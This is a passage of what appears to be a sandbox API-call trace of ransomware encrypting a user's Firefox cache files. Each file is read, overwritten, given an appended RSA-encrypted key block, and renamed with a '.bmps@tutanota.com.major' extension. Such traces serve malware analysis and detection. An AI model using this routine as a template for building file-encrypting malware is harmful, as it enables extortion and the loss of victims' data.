"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7b303216787123e2e98a2b9594cdf8211c77c0ea.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.808] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7AF60B1A5DF0ABAAD06C0BCF25C7C7DA78E19615", dwFileAttributes=0x80) returned 1 [0263.810] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0263.922] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.922] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0263.923] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0263.923] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.923] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.924] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YTT6MkmTkG4tgSqhrw/+A49W2LDpU4qMHg9I3c1cssulCw27ET/ybw8ORCdMk/8m\npJWC3qcm/EJEjCUzdv7fyqFq5pRqhKFtZl28t/rfT9hWq7vYshZw1Xt4BgFEj9tf\n/2EnWRCP9kRw+lyLDWdhO5QVfpcnW8VIUBZfK4xdx6Wizrv0wmen1e/pAWollNZE\nvhoWw1DA74DH3i7Wtunlia5RbPq0RtNN5thuTaWbbHqP79DzQw0zDvc8Y6qhtE6/\nv46zw3qHKGQ4WC9+gTEQEEnrBu2RXBXN0Y+XIuF4oGfDvMj2vNKLgMjlTXehTXYS\neGbpcbkJLfsYnalnLGhCkw==\n", pcchString=0x2e3f9a8) returned 1 [0263.924] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.924] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.924] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.925] CloseHandle (hObject=0x1b84) returned 1 [0263.925] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7AF60B1A5DF0ABAAD06C0BCF25C7C7DA78E19615" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7af60b1a5df0abaad06c0bcf25c7c7da78e19615"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7AF60B1A5DF0ABAAD06C0BCF25C7C7DA78E19615.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7af60b1a5df0abaad06c0bcf25c7c7da78e19615.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.926] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.927] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A8D3A9360CC37F0AD80962D4AEA72B6D0F0B2B3", dwFileAttributes=0x80) returned 1 [0263.933] ReadFile (in: hFile=0x1b84, lpBuffer=0x6698f8, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6698f8*, lpNumberOfBytesRead=0x2e3f9b4*=0xcf, lpOverlapped=0x0) returned 1 [0263.934] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.934] WriteFile (in: hFile=0x1b84, lpBuffer=0x668590*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x668590*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcf, lpOverlapped=0x0) returned 1 [0263.934] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcf [0263.934] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.934] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.935] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.935] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.935] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.935] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dPwyqEikPNXoA86D6A7hpOGh0DKjiddAh0YbY2Wp/61vMqYRd6bsro9ZGxoFG6XW\nB8YrM5doEkfSHYuzP6gLldf+thr01h9VHWlKuhThXNyuEMlTveELlcH9mLfgNLbw\nQRcQrd6ha7cUutRxPd8+wUzh+QHOeZVL7/UusZ3TYmsVuNJoP6GcEULaXsbSjbR0\nhJFxDoP+GUyy+mEW1gPAC31OOFVVZgNzbBqdV/nbFBk1l5L5lQTI/K2DBxJlcUlq\nSGZj1d9ysQJSVrv/KdqqLyHB+cqZyyQN9pVmuUIk+zJyoaYaMVZSP/ijbDWNOhgM\nWB9gcs0uAtb4bXEYirymIQ==\n", pcchString=0x2e3f9a8) returned 1 [0263.935] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.936] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.936] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.936] CloseHandle (hObject=0x1b84) returned 1 [0263.937] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A8D3A9360CC37F0AD80962D4AEA72B6D0F0B2B3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7a8d3a9360cc37f0ad80962d4aea72b6d0f0b2b3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A8D3A9360CC37F0AD80962D4AEA72B6D0F0B2B3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7a8d3a9360cc37f0ad80962d4aea72b6d0f0b2b3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.939] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.939] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A230FA7CE251495192749C1289385F278D22EB4", dwFileAttributes=0x80) returned 1 [0263.939] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x116c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x116c, lpOverlapped=0x0) returned 1 [0264.036] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4460, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.036] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e9a0*, nNumberOfBytesToWrite=0x116c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e9a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x116c, lpOverlapped=0x0) returned 1 [0264.037] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x116c [0264.037] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.037] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.037] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.038] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/G0xqHKtEtTuVXodFrO1tYGZlXfMqUht0qzZIAyQKNDzzF6u3ov9faaWKX+mtdy0\nPr5xe5KHNJ7FOOYZMs3HWslLSeNimT6VdnUlTSMepf1XeUoOUHLRnV/Pqbqo9spO\n+WrrHyhzVRsix8BeReCxSJpiK5cYoJ3R+oncP9EG/qh6kfOG/wFK0+pzKIULiseY\nUgEBfJs9F1CPi8G8tldjbyE0gVcj78sj4s3iD/cqoTLqn0qFd51baRHtn2Gsqe/g\nv53wS72CfSplm9xLVXYlGBHCaq/QxD3TXzegmYuCZa741eodmr2EKdA3f9QZBb2y\nEtwIvSzUKKFYKXts1ZAJfg==\n", pcchString=0x2e3f9a8) returned 1 [0264.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.038] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.038] CloseHandle (hObject=0x1b84) returned 1 [0264.039] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A230FA7CE251495192749C1289385F278D22EB4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7a230fa7ce251495192749c1289385f278d22eb4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7A230FA7CE251495192749C1289385F278D22EB4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7a230fa7ce251495192749c1289385f278d22eb4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.040] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.040] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7915475BD9F46BA77133ED0CD8E6ACC3FCF4B8C1", dwFileAttributes=0x80) returned 1 [0264.041] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe38e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe38e, lpOverlapped=0x0) returned 1 [0264.042] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-58254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.042] WriteFile (in: hFile=0x1b84, lpBuffer=0x34543e0*, nNumberOfBytesToWrite=0xe38e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34543e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe38e, lpOverlapped=0x0) returned 1 [0264.042] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe38e [0264.043] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.043] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.043] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.043] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.043] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.043] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yLNjn7JglO5GAQwm/J0iDZEm6V9yDK2VeFC0dIyFD/4QuBZr0hHwsvM1KWE/EEOw\n8hVueqSdfojtoo+Haf0L2uOErfwhZKpfOm9XwWe83Esot/JMkAimyGNVzSZzzbJz\nzuE0Bl4Dk/8M0p0Wd31YcVukeaFH5D/M77d6AGGtAo4O3/4gH2MRPCo7caPerJqR\nVRDcU/pXG7SoPx2/vqsONGlWaWRYkIOeqzeKkGmc5X3ZsLUqxJugF6daRzXGQcOC\nB54a58vLV7Ynjmhd9/JwN19bWF6y6Z36pgd4QcSt+MeopihAIc7PA8gC0xsBwX0n\nKv2muTs5Gi2w1cXH/nGCRQ==\n", pcchString=0x2e3f9a8) returned 1 [0264.043] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.043] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.043] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.044] CloseHandle (hObject=0x1b84) returned 1 [0264.044] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7915475BD9F46BA77133ED0CD8E6ACC3FCF4B8C1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7915475bd9f46ba77133ed0cd8e6acc3fcf4b8c1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7915475BD9F46BA77133ED0CD8E6ACC3FCF4B8C1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7915475bd9f46ba77133ed0cd8e6acc3fcf4b8c1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.045] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.045] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\79122AC35356132F14E7AA3248B675B5BA972274", dwFileAttributes=0x80) returned 1 [0264.046] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xdfe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0264.159] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.160] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e630*, nNumberOfBytesToWrite=0xdfe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e630*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfe, lpOverlapped=0x0) returned 1 [0264.160] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfe [0264.160] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.161] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.164] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aKlwtoM+PoK3YStSZxZTl9zpPNR0H7Qe8EgxPQbqftKtgMV4059NMUZHqoYVCJoL\nFmgwMWq5ohYdZDhvd2ROICx1fd/INLDrkaUJNU6F+EwXar9LUpjBvOf+XNQWuyAB\nScGja2VpRBMxvuQiwUIVsxYXsOgKmo0tWSyqrhwJy/i8lN/gVFpwYY5BadEH2Gde\nMXW+IfrefhpVy2MpfMU0F7L5369Rw2cQjnOtE1cMmi8ejqpkXmPuc8Lzec6g0TAx\nwXL6G8aOOOUVUEAbGwn7Rm8NXeUW5J/z3oD9U8IgCeMJE70DHCl+3hp5+eW1zciG\neyDlSeRhq4hNYbPhd4qIWg==\n", pcchString=0x2e3f9a8) returned 1 [0264.164] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.165] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.165] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.165] CloseHandle (hObject=0x1b84) returned 1 [0264.165] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\79122AC35356132F14E7AA3248B675B5BA972274" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\79122ac35356132f14e7aa3248b675b5ba972274"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\79122AC35356132F14E7AA3248B675B5BA972274.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\79122ac35356132f14e7aa3248b675b5ba972274.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.168] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.168] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\78A520FE200DD59F7079043C2E4494D582DB5E27", dwFileAttributes=0x80) returned 1 [0264.168] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x47dc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x47dc, lpOverlapped=0x0) returned 1 [0264.169] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-18396, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.169] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x47dc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x47dc, lpOverlapped=0x0) returned 1 [0264.170] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x47dc [0264.170] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.170] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.170] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.170] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.171] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.171] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kOdfaDdfHK300lhOCvTn7SFnOFzzV1CMz4a0T1DscilP0bulMtv9Fh9+KbJ4dV3N\ngNCFcyMa3Rn6v09aOUqfLFIX1Z6yA7IqNimODyOXhq/OcJcRokmVPeKSS9i6DmUB\nkHEXR3fcWRayCzn/n6Ea0PgEJ0GSULFPkfGThGvj0nsqNqoRMMAgqNTrnxJSUMfN\nZ8Sjvik6wL4m5Rc0UQXp7dkj4b+M8uur2/1uRf1TkJLWiEQJvGDBY9t/WwB6SkA6\ngHvsdmbkgKrwTJAYLUGCYKFZz9kxV0GV8fkFfef/9Vst0p1f4xeS8NHSs2/T4l0o\nyl4rXxKxC+DZGYzHqiQpBQ==\n", pcchString=0x2e3f9a8) returned 1 [0264.171] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, 